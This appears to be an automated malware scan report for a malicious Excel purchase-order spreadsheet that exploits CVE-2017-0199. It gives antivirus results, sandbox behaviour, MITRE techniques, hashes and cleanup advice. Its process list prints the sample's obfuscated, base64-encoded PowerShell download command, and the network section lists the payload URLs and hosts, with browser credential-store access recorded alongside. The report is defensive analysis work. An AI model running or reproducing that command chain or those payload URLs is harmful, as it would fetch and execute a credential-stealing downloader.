File scan report
Verdict Malicious
Is this Excel spreadsheet safe? No, we rate this exact file malicious.
The spreadsheet exploits CVE-2017-0199, launches an obfuscated PowerShell download chain, and exhibits credential-targeting behavior corroborated by 23 of the 62 antivirus…
Read the whole reasonShow less
Strong evidence · Two or more major antivirus engines agree.
If you already opened it, follow the steps below.
What to do now3 steps
This Excel spreadsheet is harmful. Don't open it, and delete it.
If you haven't opened it
Don't open this file. Delete it, then empty the Recycle Bin or Trash.
If you already opened it
If you already opened it, run a full antivirus scan. If it asked you to enable editing or macros and you did, also change your important passwords from another device.
If a page it opened asked for a password or card details and you entered them, change that password and call your bank.
If you opened or installed it
Avoid banking and sign-ins on that device until it is clean. These free MalwareTips guides walk you through it.
- Trojan removal guideClear steps for Windows, Mac and Android. (opens malwaretips.com in a new tab)
- Remove malware from WindowsStep-by-step cleanup with free tools. (opens malwaretips.com in a new tab)
- Ask for free help on the MalwareTips forumWindows malware removal help, answered by volunteers. (opens malwaretips.com in a new tab)
Paste this report's link in your topic so helpers can see what was found.
Antivirus results
23 of 62 flagged
- Flagged 23
- No detection 39
- No result 13
- Code signing Not applicable
- Test run Completed
- First seen 12d ago
Chapter 02
Why we think so
6 points against it and 2 in its favour, checked against the scan evidence.
The reasoning behind this verdict
Opening this spreadsheet caused Excel to launch mshta, obfuscated PowerShell, WScript, and a downloaded executable. Twenty-three of the 62 antivirus engines that checked it flagged it, while the completed sandbox run recorded exploit and credential-targeting activity consistent with an UrcBadur-linked Office downloader.
The strongest evidence is the completed sandbox run, where Excel initiated mshta, obfuscated PowerShell, a downloaded JavaScript file, WScript, and an executable payload. Multiple major antivirus engines independently describe the document as exploiting CVE-2017-0199, and 23 of the 62 antivirus engines that checked it flagged it overall. Five malware-specific YARA rules add independent static corroboration. Although six major antivirus engines did not flag the file and all observed hosts lacked cached adverse reputation, those counter-signals do not plausibly explain the recorded exploit-driven download chain.
What We Detected
This Excel attachment was flagged by 23 of the 62 antivirus engines that checked it, including nine major detections. Avast, ESET-NOD32, Fortinet, and TrendMicro identify content associated with CVE-2017-0199, while Kaspersky and Tencent use the UrcBadur name. Five malware-specific YARA rules also matched the document.
Threat Behavior
In the completed sandbox run, Excel launched mshta.exe, followed by an obfuscated PowerShell command that downloaded JavaScript from a remote IP address. WScript then executed the downloaded script, and a separate executable payload ran from the Documents folder.
What To Do Now
Do not open the attachment or enable editing or external content. If it was opened, isolate the device from the network, keep security software enabled, and have administrators investigate the PowerShell, WScript, downloaded files, browser credentials, and any related email recipients. Reset potentially exposed credentials from a separate trusted device after containment.
Where this verdict could be wrong3 caveats
- Six major antivirus engines did not flag the file, so antivirus agreement is substantial but not universal.
- The reputation check found no cached malicious or suspicious result for any of the 18 observed hosts; host reputation can change and does not negate the recorded download chain.
- The ten dropped files have no saved verdicts, so they provide no file it created confirmation.
These are the assessment's weak points. If you believe one applies to your file, report the verdict and we'll re-review it.
- Six major antivirus engines did not flag the spreadsheet.
- None of the 18 observed hosts had a cached malicious or suspicious reputation result.
- Twenty-three of the 62 antivirus engines that checked it flagged the spreadsheet, including nine major detections.
- Several major engines identify an Office exploit involving CVE-2017-0199.
- Excel launched mshta, obfuscated PowerShell, WScript, and a downloaded executable during execution.
- The run recorded browser credential targeting and credential-dumping indicators.
- Five malware-specific YARA rules matched the document.
- The file presents itself as a purchase-order spreadsheet, a common social-engineering lure.
6 sources checked · all complete. See every source
Chapter 03
What it did in our test
It ran in our isolated test environment; 1 test environment rated what it did as risky.
Test run summary
Capture complete- 36sandbox rule tags
- 8spawned processes
- 15network contacts
- 40filesystem & mutex artifacts
What the test run showed
What the file did on a test computer
Confirmed in the test run
High concern: Searched files where passwords and keys are stored.
High concern: Opened a browser or password-manager store that holds saved logins.
Moderate concern: Contains packed or scrambled code that is harder to inspect (common in installers too).
Moderate concern: Ran commands or a script on the test computer.
Moderate concern: Downloaded a file during the test run.
Moderate concern: Checked whether it was running on a test computer.
Moderate concern: Hid files or windows on the test computer.
Sandbox labels we could not confirm (common in safe files too)
Not confirmed: A sandbox rule tagged this run as password-store access, but nothing touched the Windows password store.
Not confirmed: A sandbox rule tagged this run as code injection, but no injected program was recorded.
Not confirmed: A sandbox rule tagged this run as weakening security settings; no setting change was recorded.
Not confirmed: A sandbox rule tagged this run as changing how Windows loads code; nothing confirms it.
This file was run on a test computer (a sandbox), not on yours. Labels we could not confirm are listed so you can see them, but they are not treated as evidence against the file.
Threat context
How downloaders work
This file is a delivery vehicle. On its own it can look small and harmless, but its job is to fetch and install the real payload, often a password stealer, ransomware or a bot, from a server the attacker controls.
Bottom line:Because the dangerous part arrives later, early scans can look cleaner than the threat really is.
Recorded behavior
What happened in the test
Grouped by step. The order is not a timeline.
- 1
Input file
The submitted object
- Evidence 1 of 7: FileSeen in the test run
Excel spreadsheet
23a171bbcd02550dca16d27e20140e43be770936d0a8c30554543258135c82e5
Uploaded file
- 2
Processes
What ran
- Evidence 2 of 7: ProcessSeen in the test run
EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" "C:\Users\<USER>\Desktop\Excel spreadsheet" /dde
Test run - Evidence 3 of 7: ProcessSeen in the test run
mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
Test run - +1 more recorded observation
- 2
Files
Created or changed
- Evidence 4 of 7: Written fileSeen in the test run
{74D54205-AC90-4EB9-BF82-77A664311183} - OProcSessId.dat
C:\Users\<USER>\AppData\Local\Temp\{74D54205-AC90-4EB9-BF82-77A664311183} - OProcSessId.dat
Test run - Evidence 5 of 7: Written fileSeen in the test run
E5814696-C8ED-4D68-8389-AD390B0C405B
C:\Users\<USER>\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\E5814696-C8ED-4D68-8389-AD390B0C405B
Test run - +1 more recorded observation
- 2
Network
Hosts contacted
- Evidence 6 of 7: Contacted hostSeen in the test run
roaming.svc.cloud.microsoft
Contacted during the test run.
Test run - Evidence 7 of 7: Contacted hostSeen in the test run
boskale.me
Contacted during the test run.
Test run - +1 more recorded observation
7 facts from the test run. See the full activity list.
What this file did when executed
The combined sandbox summary includes a "malicious" verdict.
Sandbox verdicts
1- VT: MALWAREmalicious
Techniques observed in the sandbox
36MITRE ATT&CK techniques the sandbox mapped. Highlighted ones are rare in normal software; the others are common in legitimate programs too.
- T1003· Credential theft
- T1005
- T1027· Obfuscated code
- T1033· Reads user info
- T1036
- T1047
- T1055· Process injection
- T1057· Lists programs
- T1059· Runs commands
- T1059.001· Runs commands
- T1064
- T1069
- T1071· Application protocol
- T1074
- T1082· System recon
- T1083· Scans your files
- T1105· Network file transfer
- T1129· Loads modules
- T1137
- T1202
- T1203
- T1221
- T1485
- T1497· Sandbox evasion
- T1518· Checks your AV
- T1539
- T1548
- T1552· Credential search
- T1552.001· Credential search
- T1555· Password stealing
- T1555.003· Password stealing
- T1562· Disables security
- +4 more
Observed activity
Processes started
8Programs the file ran, with their command lines.
EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" "C:\Users\<USER>\Desktop\Excel spreadsheet" /ddemshta.exeC:\Windows\SysWOW64\mshta.exe -Embeddingcmd.exe"C:\Windows\system32\cmd.exe" "/C PowerShelL.eXe -eX ByPASs -Nop -w 1 -EC IAAgACAAIAAgACAAIAAgAFcAZwBFAFQAIAAdIGgAdAB0AHAAOgAvAC8AMgAwADkALgA1ADQALgAxADAAMgAuADEANgA4AC8AMgA4AC8AYgBlAHMAdABjAGEAbQBlAHIAYQAuAEoAUwAdICAAIAAgAAkAIAAgACAACQAgAAkAIAAgACAACQAgACAALQBPAHUAdABmAEkAbABlACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAdICQARQBuAFYAOgBBAFAAcABkAGEAVABhAFwAYgBlAHMAdABjAGEAbQBlAHIAcwBhAC4ASgBTAB0gIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQA7ACAAIAAgACAAIAAmACAAIAAg…PowerShelL.eXePowerShelL.eXe -eX ByPASs -Nop -w 1 -EC IAAgACAAIAAgACAAIAAgAFcAZwBFAFQAIAAdIGgAdAB0AHAAOgAvAC8AMgAwADkALgA1ADQALgAxADAAMgAuADEANgA4AC8AMgA4AC8AYgBlAHMAdABjAGEAbQBlAHIAYQAuAEoAUwAdICAAIAAgAAkAIAAgACAACQAgAAkAIAAgACAACQAgACAALQBPAHUAdABmAEkAbABlACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAdICQARQBuAFYAOgBBAFAAcABkAGEAVABhAFwAYgBlAHMAdABjAGEAbQBlAHIAcwBhAC4ASgBTAB0gIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQA7ACAAIAAgACAAIAAmACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgA…WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\<USER>\AppData\Roaming\bestcamersa.JS"cmd.exe"C:\Windows\System32\cmd.exe" /c echo. > "C:\Users\<USER>\AppData\Roaming\bestcamersa.JS:Zone.Identifier"
Show all 8 entries for processes started
QQFXQHNTVAUIBVVC.exe"C:\Users\<USER>\Documents\QQFXQHNTVAUIBVVC.exe" C:\Users\<USER>\Documents\CVVBIUAVTNHQXFQQEXCEL.EXEC:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Network contacts
1515 hosts, listed as 6 domains, 8 addresses, 8 links. Links show the host and path only.
- Domain
roaming.svc.cloud.microsoft - Domain
boskale.me - Domain
atm.office.mira.tm.svc.cloud.microsoft - Domain
prod.roaming1.live.com.akadns.net - Domain
us2.roaming1.live.com.akadns.net - Domain
uci.cdn.office.net
Show all 22 entries for network contacts
- IP address
209.54.102.168 - IP address
172.67.202.163 - IP address
38.49.209.244 - IP address
52.110.7.41 - IP address
52.110.7.43 - IP address
52.123.128.14 - IP address
20.52.64.207 - IP address
150.171.109.117 - URL
http://209.54.102.168/httpswww.thehindubusinessline.cominfo-350-bn-by-2030techindian-it-industry-expected-to-grow-to-350-bn-by-2030-to-double-employmentarticle675875679.ece - URL
http://209.54.102.168/httpswww.thehindubusinessline.cominfo-350-bn-by-2030techindian-it-industry-expected-to-grow-to-350-bn-by-2030-to-double-employmentarticle675875679.ece/ - URL
http://209.54.102.168/28/cscs.hta - URL
http://209.54.102.168/28/bestcamera.JS - URL
https://roaming.svc.cloud.microsoft/rs/RoamingSoapService.svc - URL
https://boskale.me/o2tsoi - URL
http://oneocsp.microsoft.com/ocsp/MFQwUjBQME4wTDAJBgUrDgMCGgUABBR0TBEVYklX7A9yLoLD9hqmCWDxFgQU3pGGSLehMVkx8UtfB6nciHnaqHYCEzMAAAALE%2BVmfUqbVYAAAAAAAAs%3D - URL
http://oneocsp.microsoft.com/ocsp/MFQwUjBQME4wTDAJBgUrDgMCGgUABBR0TBEVYklX7A9yLoLD9hqmCWDxFgQU3pGGSLehMVkx8UtfB6nciHnaqHYCEzMAAAAMSWShb0QgOyIAAAAAAAw%3D
Files
30Files the file created, changed or deleted.
- Written
C:\Users\<USER>\AppData\Local\Temp\{74D54205-AC90-4EB9-BF82-77A664311183} - OProcSessId.dat - Written
C:\Users\<USER>\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\E5814696-C8ED-4D68-8389-AD390B0C405B - Written
C:\Users\<USER>\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml - Written
C:\Users\<USER>\Desktop\Excel spreadsheet - Written
C:\Users\<USER>\AppData\Local\Temp\~DF40053B9A11F4FB92.TMP - Written
C:\Users\<USER>\AppData\Roaming\Microsoft\Office\Recent\Excel spreadsheet.LNK
Show all 30 entries for files
- Written
C:\Users\<USER>\AppData\Roaming\Microsoft\Office\Recent\index.dat - Written
C:\Users\<USER>\AppData\Roaming\bestcamersa.JS - Written
C:\Users\<USER>\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache - Written
C:\Users\<USER>\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive - Written
C:\Users\<USER>\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log - Written
C:\Users\<USER>\Documents\CVVBIUAVTNHQXFQQ - Written
C:\Users\<USER>\Documents\QQFXQHNTVAUIBVVC.exe - Written
C:\Users\<USER>\AppData\Roaming\bestcamersa.JS:Zone.Identifier - Written
C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data.tmp - Deleted
C:\Users\<USER>\AppData\Roaming\Microsoft\Office\Recent\Excel spreadsheet.LNK - Deleted
C:\Users\<USER>\AppData\Local\Microsoft\Schemas\MS Excel_restart.xml - Deleted
C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data.tmp - Deleted
C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data.tmp-wal - Deleted
C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data.tmp-shm - Deleted
C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account.tmp - Deleted
C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account.tmp-wal - Deleted
C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account.tmp-shm - Deleted
C:\Users\<USER>\AppData\Local\Microsoft\Edge\User Data\Default\Login Data.tmp - Deleted
C:\Users\<USER>\AppData\Local\Microsoft\Edge\User Data\Default\Login Data.tmp-wal - Deleted
C:\Users\<USER>\AppData\Local\Microsoft\Edge\User Data\Default\Login Data.tmp-shm - Deleted
C:\Users\ADMINI~1\AppData\Local\Temp\CVR77FC.tmp - Deleted
C:\Users\ADMINI~1\AppData\Local\Temp\Cab73E3.tmp - Deleted
C:\Users\ADMINI~1\AppData\Local\Temp\Tar73E4.tmp - Deleted
C:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\新建 Microsoft Office PowerPoint 演示文稿.LNK
Registry and auto-start
17Settings the file changed, including ways to start again after a restart.
- Set
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109110000000000000000F01FEC\Usage\ProductFiles - Set
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109110000000000000000F01FEC\Usage\EXCELFiles - Set
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109E60090400000000000F01FEC\Usage\ProductNonBootFilesIntl_1033 - Set
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\ApplicationViewManagement\W32:0000000000010246\VirtualDesktop - Set
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32\EnableFileTracing - Set
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32\EnableAutoFileTracing
Show all 17 entries for registry and auto-start
- Set
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32\EnableConsoleTracing - Set
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32\FileTracingMask - Set
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32\ConsoleTracingMask - Set
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32\MaxFileSize - Set
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32\FileDirectory - Set
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS\EnableFileTracing - Set
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS\EnableAutoFileTracing - Set
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS\EnableConsoleTracing - Set
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS\FileTracingMask - Deleted
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency - Deleted
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency\StartupItems
Mutexes
10Named locks a program uses so only one copy runs; malware families often reuse them.
Local\10MU_ACBPIDS_S-1-5-5-0-143217Local\10MU_ACB10_S-1-5-5-0-143217Global\552FFA80-3393-423d-8671-7BA046BB5906Local\2BF388D5-6F8C-40A0-A7EE-996D005C4E14_Office16Local\F99C425F-9135-43ed-BD7D-396DE488DC53_Office16Global\MTX_MSO_Formal1_S-1-5-21-4005801669-2598574594-602355426-1001
Show all 10 entries for mutexes
Global\MTX_MSO_AdHoc1_S-1-5-21-4005801669-2598574594-602355426-10015CAC3FAB-87F0-4750-984D-D50144543427Office-VER16Rmc-4CDOARGlobal\MTX_MSO_AdHoc1_S-1-5-21-1758485648-768187798-1344267907-500
Sandbox background — not the file
6The analysis machine's own processes and connections, recorded in every run.
- VM process
services.exeC:\Windows\system32\services.exe - VM process
Explorer.EXEC:\Windows\Explorer.EXE - VM host
eip-terr-na.cdp1.digicert.com.akahost.net - VM host
nexusrules.officeapps.live.com - VM host
162.159.36.2 - VM host
204.79.197.203
Files this sample writes at runtime
This file drops 9 children at runtime. None are currently flagged malicious in our cache. 9 have no saved verdict and were not checked; that is missing coverage, not a finding.
- 3df30d30e8ee8445bd75…03a83aNot checkedno saved verdict
- 6bdf66b5bf2a44e658be…962c61Not checkedno saved verdict
- 8297a7698f19bb81539a…f6a259Not checkedno saved verdict
- 97da3c982874ec87dcba…014346Not checkedno saved verdict
- e33bc6d4f022a3721a3d…23f416Not checkedno saved verdict
- c1a230ca834326dac473…15e7bbNot checkedno saved verdict
- 1aee0d953742d91462c8…95ad7bNot checkedno saved verdict
- dd3cc25609c1555f9dcd…b8d04bNot checkedno saved verdict
- ce9659557ae88c6ee2d9…8d921dNot checkedno saved verdict
Chapter 04
Technical details
23 of the 62 antivirus engines that checked it flag it.
Sources checked
Every check behind this verdict
6 sources checked · all complete. Complete means the check returned a usable result; it does not mean the file is safe.
Engines that flagged it 23
- Avast (major engine)OLE:CVE-2017-0199 [Expl]
- AVG (major engine)OLE:CVE-2017-0199 [Expl]
- DrWeb (major engine)X97M.DownLoader.2343
- ESET-NOD32 (major engine)probably Win32/Exploit.CVE-2017-0199.C trojan
- Fortinet (major engine)MSExcel/CVE_2017_0199.G1!exploit
- GData (major engine)Generic.Trojan.Agent.JIO3Q0
- Ikarus (major engine)Exploit.Office.Doc
- Kaspersky (major engine)HEUR:Trojan.OLE2.UrcBadur.genw
File fingerprint
- File name
- Excel spreadsheet
- Format
- MS Excel Spreadsheet
- Size
- 388.1 kB
- Code signing
- Not applicable to this file type
- Last analyzed
- Oct 14, 2026, 3:31 PM UTC
- SHA-256
23a171bbcd02550dca16d27e20140e43be770936d0a8c30554543258135c82e5- SHA-1
59b487a77881ece1c2bf266fdde26e858f210ef8- MD5
76186dc45d768c38795af00686a4c9e6
First scanned
Antivirus consensus
23 of 62 engines flagged this file
13 of the 75 engines returned no result for this file (file type not supported, or the scan did not finish), so they did not check it.
The 23 detections come from 21 independent scan engines: several vendors license the same engine, so their results are one vote.
- Tier-118 engines9flagged11 vendors sharing 9 engines
- Tier-233 engines8flagged
- Low-trust11 engines4flagged
View all 75 engine results
- AhnLab-V3Malicious: Downloader/XLS.Agent.XG122
- alibabacloudMalicious: Exploit:Win/CVE-2017-0199.C
- AvastMalicious: OLE:CVE-2017-0199 [Expl]
- AVGMalicious: OLE:CVE-2017-0199 [Expl]
- CTXMalicious: xls.exploit-kit.cve170199
- DrWebMalicious: X97M.DownLoader.2343
- ESET-NOD32Malicious: probably Win32/Exploit.CVE-2017-0199.C trojan
- FortinetMalicious: MSExcel/CVE_2017_0199.G1!exploit
- GDataMalicious: Generic.Trojan.Agent.JIO3Q0
- huorongMalicious: Exploit/CVE-2017-0199.t
- IkarusMalicious: Exploit.Office.Doc
- KasperskyMalicious: HEUR:Trojan.OLE2.UrcBadur.genw
- LionicMalicious: Trojan.MSExcel.UrcBadur.4!c
- McAfeeDMalicious: Trojan:Office/Downloader.LK!1
- RisingMalicious: Exploit.CVE-2017-0199!1.FDBF (CLASSIC)
- SentinelOneMalicious: Static AI - Malicious OLE
- SymantecMalicious: Scr.Malcode!gen59
- TACHYONMalicious: Downloader/W97.CVE-2017-0199
- TencentMalicious: Win32.Trojan.Urcbadur.Ftgl
- TrendMicroMalicious: HEUR_CVE170199.L
- TrendMicro-HouseCallMalicious: HEUR_CVE170199.L
- VaristMalicious: CVE170199.A3.gen!Eldorado
- ViRobotMalicious: XLS.Z.Agent.388096
- AcronisClean
- AlibabaNo result
- ALYacClean
- Antiy-AVLClean
- APEXNo result
- ArcabitClean
- Avast-MobileNo result
- AviraClean
- BitDefenderClean
- BitDefenderFalxNo result
- BkavClean
- CAT-QuickHealClean
- ClamAVClean
- CMCClean
- CrowdStrikeClean
- CylanceNo result
- CynetClean
- DeepInstinctNo result
- ElasticNo result
- EmsisoftClean
- F-SecureClean
- GoogleClean
- GridinsoftClean
- JiangminClean
- K7AntiVirusClean
- K7GWClean
- KingsoftClean
- MalwarebytesClean
- MaxSecureClean
- MicrosoftClean
- MicroWorld-eScanClean
- NANO-AntivirusClean
- PaloaltoNo result
- PandaClean
- SangforClean
- SkyhighClean
- SophosClean
- SUPERAntiSpywareClean
- SymantecMobileInsightNo result
- tehtrisNo result
- TrapmineNo result
- TrellixENSClean
- TrustlookNo result
- VBA32Clean
- VIPREClean
- VirITClean
- WebrootNo result
- XcitiumClean
- YandexClean
- ZillyaClean
- ZoneAlarmClean
- ZonerClean
Signatures and behavior heuristics
A community signature or high-severity behavioral heuristic matched. Signatures identify known patterns; heuristics are strong leads but are not proof on their own.
- informational_win_ole_protected
- MULTI_Malware_Unknown_ForgeAuto_4f67e0b3_Extrait
- MULTI_Malware_Unknown_ForgeAuto_57b77e4a_Extrait
- MULTI_Malware_Unknown_ForgeAuto_e38c53ae_Extrait
- XLS_STRINGS
VirusTotal's sandbox summary maps this run to MITRE T1055 (Process Injection), but no injected process of the sample's own was recorded (the analysis VM's own WMI adapter, crash handlers and Chrome updater are not counted). VirusTotal maps T1055 on about half of all files no engine flags, so the mapping alone is not evidence of injection.
EvidenceT1055 (sandbox MITRE mapping)VirusTotal's sandbox summary maps this run to MITRE T1003 (OS Credential Dumping), but no process targeting LSASS or another credential store was recorded. VirusTotal maps T1003 on clean files more often than on detected ones, so the mapping alone is not evidence of credential theft.
EvidenceT1003 (sandbox MITRE mapping)Sample accessed a browser credential store (saved logins, cookies or the key that protects them in Chrome / Edge / Brave / Opera / Vivaldi / Yandex / Firefox) or a cryptocurrency wallet. This is textbook infostealer behaviour — targeting saved passwords, cookies, or wallet keys.
EvidenceC:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data.tmp
How widely this file has been seen
Moderate prevalence — neither rare nor common. No strong prior applies.
Chapter 05
Questions & answers
Short answers to the 8 questions people ask most about this file.
Is this Excel spreadsheet malware?
What is this Excel spreadsheet?
How many antivirus engines detected this Excel spreadsheet?
I already downloaded and opened this Excel spreadsheet — what should I do?
How do I remove this Excel spreadsheet?
What kind of malware is this Excel spreadsheet?
What is the SHA-256 hash of this Excel spreadsheet?
How up to date is this analysis of this Excel spreadsheet?
Community
Member reviews and reports for this exact file hash.